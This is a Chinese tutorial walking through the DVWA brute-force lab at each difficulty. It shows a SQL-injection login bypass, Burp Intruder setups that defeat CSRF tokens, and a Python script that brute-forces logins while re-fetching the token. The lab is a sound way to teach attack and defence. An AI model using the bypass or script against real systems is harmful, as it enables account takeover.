DVWA Brute Force(暴力破解)全等级
Brute Force(暴力破解)
1.Low
查看源码发现关键代码为:
SELECT * FROM users WHERE user = '$user' AND password = '$pass';
Username处输入:admin' #
SQL注入之后查询语句变成:
SELECT * FROM users WHERE user ='admin' # AND password = '$pass';
#为单行注释符,#后面的语句不会执行
真正执行的语句为
SELECT * FROM users WHERE user ='admin'
所以加上单引号闭合字符串再注释掉
只要存在admin就能登录成功。
2.Medium
多了 mysqli_real_escape_string()函数,他转义了特殊字符,以至于Low级别的方法无效。
用burp的Proxy-intercept找到密码变量,然后发送到intruder暴力破解。
打开火狐浏览器,设置代理为127.0.0.1:8080
打开burp的Proxy模块
 
点击Login

发现已经拦截http报文了

右键http报文然后点击Send to Intruder,然后点击进入Intruder模块
点击右边的Clear § ,然后选中密码,点击Add §
表示将要爆破密码此处的内容

点击Payloads,然后点击Payload Options的Load,选择字典文件

配置完成后点击右上角的Start attach开始暴力破解
爆破一段时间后,按照包大小排序,查看与其他响应包不同的数据,查看发现密码已经爆破成功。

3.High
多出了token函数,登陆的时候必须带上token值。
token是计算机术语令牌,令牌是一种能够控制站点占有媒体的特殊帧,以区别数据帧及其他控制帧;token其实说的更通俗点可以叫暗号,在一些数据传输之前,要先进行暗号的核对,不同的暗号被授权不同的数据操作。
——PHP中文网
方法1——Burp爆破
burp抓包,把密码和token字段add §,然后选择Pitchfork模式
Pitchfork(草叉模式)——它可以使用多组Payload集合,在每一个不同的Payload标志位置上,遍历所有的Payload。
在Resource Pool(资源池)中选择单线程爆破,因为接下来要设置的Recursive_Grep模式只能单线程爆破
 
然后在Options选项卡,选择Grep-Extract(意思是用于提取响应消息中的有用信息),点击Add进入Define页面。


配置之后就会每次从响应中获取该值,本文中即为token。
然后设置payload,payload 1按照Medium等级那样导入字典即可。
Payload 2的Payload type选择Recursive grep,
它表示将服务器每次返回的数据来替换payload中的变量值,这里用来每次替换user_token的值。
然后在Initial payload for first request:
设置第一条请求包的token值。

点击Start attack
 成功爆破。
 
方法2——Python脚本爆破
代码来源:DVWA_Brute Force(暴力破解)_High
from bs4 import BeautifulSoup
import requests
from requests.models import Response
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
    'Cookie':'PHPSESSID=u9a1hc9luq0u8fs4s2a8k12g05; security=high'
}
url = "http://192.168.171.10/vulnerabilities/brute/index.php"
def get_token(url,headers):
    r = requests.get(url,headers=header)
    html = r.content.decode()
    soup = BeautifulSoup(html,"html.parser")
    user_token = soup.find_all('input')[3]["value"]
    return user_token
i = 0
for admin in open("userPATH"):
    for line in open("passwordPATH"):
        u_token = get_token(url,header)
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login','user_token':u_token}
        i = i + 1
        Response = requests.get(url,params=payload,headers=header)
        print(i,username,password,len(Response.content.decode()))
        user_token = get_token(url,header)
运行结果如下:

4.Impossible
通过源码可以看到,impossible级别在 high 的基础上对用户的登录次数有所限制,当用户登录失败达到3次,将会锁住账号15秒,同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令,所以无法暴力破解。
DVWA Brute Force(暴力破解)全等级的更多相关文章
- 安全性测试入门:DVWA系列研究(一):Brute Force暴力破解攻击和防御
		
写在篇头: 随着国内的互联网产业日臻成熟,软件质量的要求越来越高,对测试团队和测试工程师提出了种种新的挑战. 传统的行业现象是90%的测试工程师被堆积在基本的功能.系统.黑盒测试,但是随着软件测试整体 ...
 - 【DVWA】Brute Force(暴力破解)通关教程
		
日期:2019-08-01 14:49:47 更新: 作者:Bay0net 介绍:一直以为爆破很简单,直到学习了 Burp 的宏录制和匹配关键词,才发现 burp 能这么玩... 0x01. 漏洞介绍 ...
 - DVWA之Brute Force(暴力破解)
		
目录 Low Medium High Impossible 暴力破解是指使用穷举法,举出所有的可能的结果,然后逐一验证是否正确! Low 源代码: <?php if( isset( $_GET[ ...
 - Brute Force(暴力(破解))
		
一.攻击模块1:Brute Force(暴力破解) 暴力破解一般指穷举法,穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕.若某个情况 ...
 - Brute Force暴力破解
		
Low 服务器只是验证了参数Login是否被设置,没有任何的防爆破机制,且对参数username.password没有做任何过滤,存在明显的sql注入漏洞. 方法一:bp爆破 直接对爆破密码得到pas ...
 - DVWA靶场练习-暴力破解
		
一.暴力破解 (Brute Force) 暴力破解是Web安全领域的一个基础技能,破解方法论为:构建常见用户名及弱口令 因此需要好的字典,对应破解场景构建特定的用户名密码,以及还需要具有灵活编写 ...
 - DVWA Brute Force:暴力破解篇
		
DVWA Brute Force:暴力破解篇 前言 暴力破解是破解用户名密码的常用手段,主要是利用信息搜集得到有用信息来构造有针对性的弱口令字典,对网站进行爆破,以获取到用户的账号信息,有可能利用其权 ...
 - 4. DVWA亲测暴力破解
		
LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块 我们先创建一个1.txt文件夹,把正确的账号密码写进去 我们输入 Username:1 Password: ...
 - DVWA Brute Force 解析
		
LOW 源代码如下: <?php if( isset( $_GET['Login'] ) ) { $user = $_GET['username']; $pass = $_GET['passwo ...
 - DVWA-Brute Force(暴力破解)
		
暴力破解漏洞,没有对登录框做登录限制,攻击者可以不断的尝试暴力枚举用户名和密码 LOW 审计源码 <?php // 通过GET请求获取Login传参, // isset判断一个变量是否已设置,判 ...
 
随机推荐
- JAVA中三种I/O框架——BIO、NIO、AIO
			
一.BIO(Blocking I/O) BIO,同步阻塞IO模型,应用程序发起系统调用后会一直等待数据的请求,直至内核从磁盘获取到数据并拷贝到用户空间: 在一般的场景中,多线程模型下的BIO是成本较低 ...
 - 9.1 运用API创建多线程
			
在Windows平台下创建多线程有两种方式,读者可以使用CreateThread函数,或者使用beginthreadex函数均可,两者虽然都可以用于创建多线程环境,但还是存在一些差异的,首先Creat ...
 - Go 多版本管理工具
			
Go 多版本管理工具 目录 Go 多版本管理工具 一.go get 命令 1.1 使用方法: 二.Goenv 三.GVM (Go Version Manager) 四.voidint/g 4.1 安装 ...
 - Bridge 桥接模式简介与 C# 示例【结构型2】【设计模式来了_7】
			
〇.简介 1.什么是桥接模式? 一句话解释: 通过一个类的抽象,与另一个类的抽象关联起来,当做桥.此后不管两个抽象类的实现有多少种,均可以通过这个桥来将两个对象联系起来. 桥接,顾名思义就是用桥来 ...
 - [NISACTF 2022]checkin
			
题目看上去似乎只是一个简单的get传参,但复制了一下代码,发现不对 这些代码中间还有隐藏的字符 在记事本里面就看到了神奇的字符 就将这些隐藏起来的进行urlencode编码一下 复制这个进行编码,得到 ...
 - CF1401C
			
题目简化和分析: 交换数组使其变为升序,满足交互的两数 \(a_i\) 与 \(a_j\),$ \min{a_i(1\le i\le n)}|\gcd(a_i,a_j)$ . 简单思维题,Div.2 ...
 - nginx防盗链+flv.js拉流地址防盗
			
需要此版本nginx的私信留邮箱,支持http-flv,支持rtmp,支持secure_link nginx.conf配置: c#后端生成链接 结果:
 - CSP 2022 游寄
			
Day -2147483648 官网有了通知,但选手注册不知为何坏掉了: 先开坑: Day -大概两个月 注册了,但老师还没给我审核呜呜呜 第一轮 早上 早上起床就直接来机房了,不用跑操欸嘿. 上午 ...
 - Mach-O Inside: BSS Section
			
1 BSS 起源 BSS(Block Started by Symbol)这个词最初是 UA-SAP 汇编器(United Aircraft Symbolic Assembly Program)中的一 ...
 - 全面掌握胶囊网络:从基础理论到PyTorch实战
			
本文全面深入地探讨了胶囊网络(Capsule Networks)的原理.构建块.数学模型以及在PyTorch中的实现.通过本文,读者不仅能够理解胶囊网络的基础概念和高级数学原理,还能掌握其在实际问题中 ...